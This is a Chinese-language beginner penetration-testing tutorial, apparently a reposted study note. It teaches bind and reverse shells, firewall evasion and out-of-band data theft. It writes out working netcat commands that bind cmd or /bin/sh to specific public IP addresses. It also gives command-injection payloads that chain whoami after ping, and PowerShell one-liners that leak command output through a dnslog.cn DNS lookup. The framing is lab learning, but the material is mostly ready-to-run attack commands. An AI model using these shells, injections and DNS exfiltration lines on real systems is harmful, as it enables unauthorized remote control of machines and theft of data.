欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

学习基础入门:反弹式SHELL、无回显带外、正反向连接和防火墙出入站以及文件下载

最编程 2023-12-30 21:08:00
...

目录
  • 常规基本渗透命令详解
  • 实用案例1:文件上传下载-解决无图形化&解决数据传输
  • 正向反向:
  • 实用案例2:反弹Shell命令-解决数据回显&解决数据通讯
    • 命令生成:
    • 数据回显:
    • 例子1:正向连接
      • Linux控制Windows
      • Windows控制Linux
    • 例子2:反向连接
      • Windows控制Linux:
      • Linux控制Windows:
  • 实际案例1:防火墙绕过-正向连接&反向连接&内网服务器
    • 靶场测试ping的步骤:
      • 开启入站策略
      • 开启出站策略
  • 实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog
    • 1、反弹shell
    • 2、带外查询
      • Linux系统:
      • Windows系统:
        • 在cmd界面的操作:
        • 语句组成:

常规基本渗透命令详解

https://blog.****.net/weixin_43303273/article/details/83029138

实用案例1:文件上传下载-解决无图形化&解决数据传输

命令生成(各种系统上不同操作的命令的生成):https://forum.ywhack.com/bountytips.php?download

Linux:wget curl python ruby perl java等

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

正向反向:

这个图作为例子,想让Linux连接到Windows服务器,如果是linux主动链接,那就是正向;如果是Windows反过来找linux寻求他链接,那就是反向。但其实要看参照物,如果以Linux为参数物,那么他发出的就是正向,换个参照物可能就变成了反向

对于内网的机器,通过统一的路由器来访问外网,所以外网的服务器是没有办法通过正向链接来控制内网的主机,就只能通过反向来控制内网的机器

实用案例2:反弹Shell命令-解决数据回显&解决数据通讯

命令生成:

https://forum.ywhack.com/shell.php

数据回显:

就是在测试一个网站的时候,出现了需要自己输入信息的界面,这时候就需要反弹,把对方电脑上的数据反弹到自己电脑上,让自己可以往内输入信息,比如自己创建了一个用户,然后要设置这个用户的密码,这时候那边就会等待我们输入密码了,但如果没有数据回显,我们就不知道,也无法输入,就会卡在这里。

所以反弹shell就是可以一直控制对方的权限,如果不反弹,那么提交的命令就是一直在访问网站,但是反弹shell到自己这边之后,再输入命令就相当于在本地输入的

例子1:正向连接

正向连接:本地监听等待对方连接

Linux控制Windows

(nc是Windows,ncat是Linux)

绑定CMD到本地5566端口:nc -e cmd -lvp 5566

ps:Windows没有这个nc命令,所以要先下载安装才能执行

主动连接目标5566(linux主机主动去连接):ncat 47.122.23.131 5566

Windows控制Linux

绑定SH到本地5566端口:ncat -e /bin/sh -lvp 5566

主动连接目标5566:nc 47.94.236.117 5566

例子2:反向连接

目标主动把权限给出去,另一方监听

反向:本地听着,等着对方把权限交过来

Windows控制Linux:

Linux把自己的权限绑定到目标ip的5566端口:ncat -e /bin/sh 47.122.23.131 5566

等待5566连接:nc -lvvp 5566

Linux控制Windows:

绑定CMD权限到目标5566端口:nc -e cmd 47.94.236.117 5566

等待5566连接:ncat -lvvp 5566

1690459313138

实际案例1:防火墙绕过-正向连接&反向连接&内网服务器

管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)

Windows4种--> | & || &&

Linux6种--> ; | || & && (特有波浪线的位置的那个点 和 ; )

例子:

ping -c 1 127.0.0.1 ; whoami

ping -c 1 127.0.0.1 | whoami

ping -c 1 127.0.0.1 || whoami

ping -c 1 127.0.0.1 & whoami

ping -c 1 127.0.0.1 && whoami

ping -c 1 127.0.0.1 whoami

靶场测试ping的步骤:

1、判断windows

2、windows没有自带的nc

3、想办法上传nc 反弹权限

4、反弹

开启入站策略

(也就是说限制了入站,对方限制了流量的进入,没有限制流量的给出,所以采取反向),采用反向连接

Linux:ncat -lvvp 5566

Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566

ps:注意命令的这里,如果对方没有自带的nc,那我们就需要通过文件上传后,然后把nc改成对方主机内的nc的绝对路径

开启出站策略

(就算是只是限制了出站,也可能无法访问,因为入站比出站的管理更加严格,出站被限制,很有可能虽然没有设置入站但也会被限制),采用正向连接

Linux:ncat -e cmd 47.122.23.131 5566

Windows:127.0.0.1 | nc -e cmd -lvvp 5566

正反向反弹案例-内网服务器:只能内网主动交出数据,反向连接

实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog

出站入站都开启策略(数据不回显):漏洞有,但是数据不回显

1、反弹shell

2、带外查询

让他主动把结果给出来

比如dnslog,就是说这个网站会显示出来访问过他的地址,以及把访问后的数据带回来;所以可以做命令的拼接,如whoami.xxx.xxx.xxx,第一个命令就会执行,其他的返回回来

DNSlog原理:DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

Linux系统:

ping whoami.dns地址;便可以通过dnslog看到访问的回显信息

Windows系统:

因为windows缺少``这个操作符,所以不能像Linux系统一样简单,可以利用powershell程序

在cmd界面的操作:

powershell $x=whoami;$x=$x.Replace('','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z

先输入powershell执行powershell程序,然后因为powershell命令可以执行变量,这个$x就是变量,里面存储着whoami返回的值,replace是把x变量里面的斜杠替换,否则会解析错误,最后把这个结果和对应的dnslog给的地址拼起来,ping它,就可以在dnslog得到回显结果。

这样就可以在Windows系统上执行带外查询

语句组成:

127.0.0.1 | powershell $x=ver;$x=$x.Replace('','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z

原因:

cmd无法执行whoami

因为前面执行的是ping命令,所以只会解析ip地址,后面是whoami的话就不支持被解析,也就无法被执行

ps:笔记里特殊的一些小方块是因为使用了波浪线键的另一个符号